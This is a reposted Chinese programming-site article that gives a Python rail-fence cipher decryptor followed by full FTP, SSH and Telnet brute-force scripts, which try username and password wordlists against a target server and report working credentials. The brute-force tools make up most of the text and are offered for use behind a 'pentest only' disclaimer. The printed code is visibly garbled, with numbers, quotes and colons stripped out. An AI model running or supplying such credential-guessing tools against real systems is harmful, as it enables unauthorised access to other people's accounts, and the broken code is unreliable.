首页 > 编程 > Python > 正文

Python脚本暴力破解栅栏密码

2020-01-04 17:58:02
字体:
来源:转载
供稿:网友

在渗透测试当中,免不了要进行密码破解。本文通过好几种方法给大家介绍python密码破解,有通用脚本,FTP暴力破解脚本,SSH暴力破解,TELNET密码暴力破解,感兴趣的朋友一起学习吧

今天遇到一个要破解的栅栏密码,先给大家介绍通用的脚本。

方法一(通用脚本):

 

 
  1. #!/usr/bin/env python 
  2. # -*- coding: gbk -*- 
  3. # -*- coding: utf_ -*- 
  4. e = raw_input(‘请输入要解密的字符串/n‘) 
  5. elen = len(e) 
  6. field=[] 
  7. for i in range(,elen): 
  8. if(elen%i==): 
  9. field.append(i) 
  10. for f in field: 
  11. b = elen / f 
  12. result = {x:‘‘ for x in range(b)} 
  13. for i in range(elen): 
  14. a = i % b; 
  15. result.update({a:result[a] + e[i]}) 
  16. d = ‘‘ 
  17. for i in range(b): 
  18. d = d + result[i] 
  19. print ‘分为/t‘+str(f)+‘/t‘+‘栏时,解密结果为: ‘+d 

方法二:

FTP暴力破解脚本

 

 
  1. #!/usr/bin/env python 
  2. #-*-coding = utf--*- 
  3. #author:@xfk 
  4. #blog:@blog.sina.com.cn/kaiyongdeng 
  5. #date:@-- 
  6. import sys, os, time 
  7. from ftplib import FTP 
  8. docs = ""
  9. [*] This was written for educational purpose and pentest only. Use it at your own risk.  
  10. [*] Author will be not responsible for any damage! 
  11. [*] Toolname : ftp_bf.py 
  12. [*] Coder : 
  13. [*] Version : . 
  14. [*] eample of use : python ftp_bf.py -t ftp.server.com -u usernames.txt -p passwords.txt 
  15. ""
  16. if sys.platform == 'linux' or sys.platform == 'linux'
  17. clearing = 'clear' 
  18. else
  19. clearing = 'cls' 
  20. os.system(clearing) 
  21. R = "/[m"
  22. G = "/[m"
  23. Y = "/[m" 
  24. END = "/[m" 
  25. def logo(): 
  26. print G+"/n |---------------------------------------------------------------|" 
  27. print " | |" 
  28. print " | blog.sina.com.cn/kaiyongdeng |" 
  29. print " | // ftp_bf.py v.. |" 
  30. print " | FTP Brute Forcing Tool |" 
  31. print " | |" 
  32. print " |---------------------------------------------------------------|/n" 
  33. print " /n [-] %s/n" % time.strftime("%X"
  34. print docs+END 
  35. def help(): 
  36. print R+"[*]-t, --target ip/hostname <> Our target" 
  37. print "[*]-u, --usernamelist usernamelist <> usernamelist path" 
  38. print "[*]-p, --passwordlist passwordlist <> passwordlist path" 
  39. print "[*]-h, --help help <> print this help" 
  40. print "[*]Example : python ftp_bf -t ftp.server.com -u username.txt -p passwords.txt"+END sys.exit() 
  41. def bf_login(hostname,username,password): 
  42. # sys.stdout.write("/r[!]Checking : %s " % (p)) 
  43. # sys.stdout.flush() 
  44. try
  45. ftp = FTP(hostname) 
  46. ftp.login(hostname,username, password) 
  47. ftp.retrlines('list'
  48. ftp.quit() 
  49. print Y+"/n[!] wt,wt!!! We did it ! " 
  50. print "[+] Target : ",hostname, "" 
  51. print "[+] User : ",username, "" 
  52. print "[+] Password : ",password, ""+END 
  53. return 
  54. # sys.exit() 
  55. except Exception, e: 
  56. pass except KeyboardInterrupt: print R+"/n[-] Exiting .../n"+END 
  57. sys.exit() 
  58. def anon_login(hostname): 
  59. try
  60. print G+"/n[!] Checking for anonymous login./n"+END 
  61. ftp = FTP(hostname) ftp.login() 
  62. ftp.retrlines('LIST'
  63. print Y+"/n[!] wt,wt!!! Anonymous login successfuly !/n"+END 
  64. ftp.quit() 
  65. except Exception, e: 
  66. print R+"/n[-] Anonymous login failed.../n"+END 
  67. pass 
  68. def main(): 
  69. logo() 
  70. try
  71. for arg in sys.argv: 
  72. if arg.lower() == '-t' or arg.lower() == '--target'
  73. hostname = sys.argv[int(sys.argv[:].index(arg))+] 
  74. elif arg.lower() == '-u' or arg.lower() == '--usernamelist'
  75. usernamelist = sys.argv[int(sys.argv[:].index(arg))+] 
  76. elif arg.lower() == '-p' or arg.lower() == '--passwordlist'
  77. passwordlist = sys.argv[int(sys.argv[:].index(arg))+] 
  78. elif arg.lower() == '-h' or arg.lower() == '--help'
  79. help() 
  80. elif len(sys.argv) <= : 
  81. help() 
  82. except: 
  83. print R+"[-]Cheak your parametars input/n"+END 
  84. help() 
  85. print G+"[!] BruteForcing target ..."+END 
  86. anon_login(hostname) 
  87. # print "here is ok" 
  88. # print hostname 
  89. try
  90. usernames = open(usernamelist, "r"
  91. user = usernames.readlines() 
  92. count = 
  93. while count < len(user): 
  94. user[count] = user[count].strip() 
  95. count += 
  96. except: 
  97. print R+"/n[-] Cheak your usernamelist path/n"+END 
  98. sys.exit() 
  99. # print "here is ok ",usernamelist,passwordlist 
  100. try
  101. passwords = open(passwordlist, "r"
  102. pwd = passwords.readlines() 
  103. count = 
  104. while count < len(pwd): 
  105. pwd[count] = pwd[count].strip() 
  106. count += 
  107. except: 
  108. print R+"/n[-] Check your passwordlist path/n"+END 
  109. sys.exit() 
  110. print G+"/n[+] Loaded:",len(user),"usernames" 
  111. print "/n[+] Loaded:",len(pwd),"passwords" 
  112. print "[+] Target:",hostname 
  113. print "[+] Guessing.../n"+END 
  114. for u in user: for p in pwd: 
  115. result = bf_login(hostname,u.replace("/n",""),p.replace("/n","")) 
  116. if result != : 
  117. print G+"[+]Attempt uaername:%s password:%s..." % (u,p) + R+"Disenable"+END 
  118. else
  119. print G+"[+]Attempt uaername:%s password:%s..." % (u,p) + Y+"Enable"+END 
  120. if not result : 
  121. print R+"/n[-]There is no username ans password enabled in the list." 
  122. print "[-]Exiting.../n"+END 
  123. if __name__ == "__main__"
  124. main() 

SSH暴力破解

 

 
  1. #!/usr/bin/env python 
  2. #-*-coding = UTF--*- 
  3. #author@:dengyongkai 
  4. #blog@:blog.sina.com.cn/kaiyongdeng 
  5. import sys 
  6. import os 
  7. import time 
  8. #from threading import Thread 
  9. try
  10. from paramiko import SSHClient 
  11. from paramiko import AutoAddPolicy 
  12. except ImportError: 
  13. print G+''
  14. You need paramiko module. 
  15. http://www.lag.net/paramiko/ 
  16. Debian/Ubuntu: sudo apt-get install aptitude 
  17. : sudo aptitude install python-paramiko/n'''+END 
  18. sys.exit() 
  19. docs = ""
  20. [*] This was written for educational purpose and pentest only. Use it at your own risk. 
  21. [*] Author will be not responsible for any damage!  
  22. [*] Toolname : ssh_bf.py 
  23. [*] Author : xfk 
  24. [*] Version : v.. 
  25. [*] Example of use : python ssh_bf.py [-T target] [-P port] [-U userslist] [-W wordlist] [-H help] 
  26. ""
  27. if sys.platform == 'linux' or sys.platform == 'linux'
  28. clearing = 'clear' 
  29. else:  
  30. clearing = 'cls' 
  31. os.system(clearing) 
  32. R = "/[m"
  33. G = "/[m"
  34. Y = "/[m" 
  35. END = "/[m" 
  36. def logo(): 
  37. print G+"/n |---------------------------------------------------------------|" 
  38. print " | |" 
  39. print " | blog.sina.com.cn/kaiyongdeng |" 
  40. print " | // ssh_bf.py v.. |" 
  41. print " | SSH Brute Forcing Tool |" 
  42. print " | |" 
  43. print " |---------------------------------------------------------------|/n" 
  44. print " /n [-] %s/n" % time.ctime() 
  45. print docs+END 
  46. def help(): 
  47. print Y+" [*]-H --hostname/ip <>the target hostname or ip address" 
  48. print " [*]-P --port <>the ssh service port(default is )" 
  49. print " [*]-U --usernamelist <>usernames list file" 
  50. print " [*]-P --passwordlist <>passwords list file" 
  51. print " [*]-H --help <>show help information" 
  52. print " [*]Usage:python %s [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]"+END 
  53. sys.exit() 
  54. def BruteForce(hostname,port,username,password): 
  55. ''
  56. Create SSH connection to target 
  57. ''
  58. ssh = SSHClient() 
  59. ssh.set_missing_host_key_policy(AutoAddPolicy()) 
  60. try
  61. ssh.connect(hostname, port, username, password, pkey=None, timeout = None, allow_agent=False, look_for_keys=False) 
  62. status = 'ok' 
  63. ssh.close() 
  64. except Exception, e: 
  65. status = 'error' 
  66. pass 
  67. return status 
  68. def makelist(file): 
  69. ''
  70. Make usernames and passwords lists 
  71. ''
  72. items = [] 
  73. try
  74. fd = open(file, 'r'
  75. except IOError: 
  76. print R+'unable to read file /'%s/'' % file+END 
  77. pass 
  78. except Exception, e: 
  79. print R+'unknown error'+END 
  80. pass 
  81. for line in fd.readlines(): 
  82. item = line.replace('/n''').replace('/r'''
  83. items.append(item) 
  84. fd.close()  
  85. return items 
  86. def main(): 
  87. logo()  
  88. # print "hello wold" 
  89. try:  
  90. for arg in sys.argv: 
  91. if arg.lower() == '-t' or arg.lower() == '--target'
  92. hostname = str(sys.argv[int(sys.argv[:].index(arg))+]) 
  93. if arg.lower() == '-p' or arg.lower() == '--port'
  94. port = sys.argv[int(sys.argv[:].index(arg))+] 
  95. elif arg.lower() == '-u' or arg.lower() == '--userlist'
  96. userlist = sys.argv[int(sys.argv[:].index(arg))+] 
  97. elif arg.lower() == '-w' or arg.lower() == '--wordlist'
  98. wordlist = sys.argv[int(sys.argv[:].index(arg))+] 
  99. elif arg.lower() == '-h' or arg.lower() == '--help'
  100. help() 
  101. elif len(sys.argv) <= : 
  102. help() 
  103. except: 
  104. print R+"[-]Cheak your parametars input/n"+END 
  105. help() 
  106. print G+"/n[!] BruteForcing target .../n"+END 
  107. # print "here is ok" 
  108. # print hostname,port,wordlist,userlist 
  109. usernamelist = makelist(userlist) 
  110. passwordlist = makelist(wordlist) 
  111. print Y+"[*] SSH Brute Force Praparing." 
  112. print "[*] %s user(s) loaded." % str(len(usernamelist)) 
  113. print "[*] %s password(s) loaded." % str(len(passwordlist)) 
  114. print "[*] Brute Force Is Starting......."+END 
  115. try
  116. for username in usernamelist: 
  117. for password in passwordlist: 
  118. print G+"/n[+]Attempt uaername:%s password:%s..." % (username,password)+END 
  119. current = BruteForce(hostname, port, username, password) 
  120. if current == 'error'
  121. print R+"[-]O*O The username:%s and password:%s Is Disenbabled.../n" % (username,password)+END 
  122. # pass 
  123. else
  124. print G+"/n[+] ^-^ HaHa,We Got It!!!" 
  125. print "[+] username: %s" % username 
  126. print "[+] password: %s/n" % password+END 
  127. # sys.exit() 
  128. except: 
  129. print R+"/n[-] There Is Something Wrong,Pleace Cheak It." 
  130. print "[-] Exitting...../n"+END 
  131. raise 
  132. print Y+"[+] Done.^-^/n"+END 
  133. sys.exit() 
  134. if __name__ == "__main__"
  135. main() 

TELNET密码暴力破解

 

 
  1. #!usr/bin/python 
  2. #Telnet Brute Forcer 
  3. #http://www.darkcde.com 
  4. #dhydr[at]gmail[dot]com 
  5. import threading, time, random, sys, telnetlib 
  6. from copy import copy 
  7. if len(sys.argv) !=: 
  8. print "Usage: ./telnetbrute.py <server> <userlist> <wordlist>" 
  9. sys.exit() 
  10. try
  11. users = open(sys.argv[], "r").readlines() 
  12. except(IOError): 
  13. print "Error: Check your userlist path/n" 
  14. sys.exit() 
  15. try
  16. words = open(sys.argv[], "r").readlines() 
  17. except(IOError): 
  18. print "Error: Check your wordlist path/n" 
  19. sys.exit() 
  20. print "/n/t dhydr[at]gmail[dot]com TelnetBruteForcer v." 
  21. print "/t--------------------------------------------------/n" 
  22. print "[+] Server:",sys.argv[] 
  23. print "[+] Users Loaded:",len(users) 
  24. print "[+] Words Loaded:",len(words),"/n" 
  25. wordlist = copy(words) 
  26. def reloader(): 
  27. for word in wordlist: 
  28. words.append(word) 
  29. def getword(): 
  30. lock = threading.Lock() 
  31. lock.acquire() 
  32. if len(words) != : 
  33. value = random.sample(words, ) 
  34. words.remove(value[]) 
  35. else
  36. print "/nReloading Wordlist - Changing User/n" 
  37. reloader() 
  38. value = random.sample(words, ) 
  39. users.remove(users[]) 
  40. lock.release() 
  41. if len(users) ==: 
  42. return value[][:-], users[] 
  43. else
  44. return value[][:-], users[][:-] 
  45. class Worker(threading.Thread): 
  46. def run(self): 
  47. value, user = getword() 
  48. try
  49. print "-"
  50. print "User:",user,"Password:",value 
  51. tn = telnetlib.Telnet(sys.argv[]) 
  52. tn.read_until("login: "
  53. tn.write(user + "/n"
  54. if password: 
  55. tn.read_until("Password: "
  56. tn.write(value + "/n"
  57. tn.write("ls/n"
  58. tn.write("exit/n"
  59. print tn.read_all() 
  60. print "/t/nLogin successful:",value, user 
  61. tn.close() 
  62. work.join() 
  63. sys.exit() 
  64. except: 
  65. pass 
  66. for I in range(len(words)*len(users)): 
  67. work = Worker() 
  68. work.start() 
  69. time.sleep() 

发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表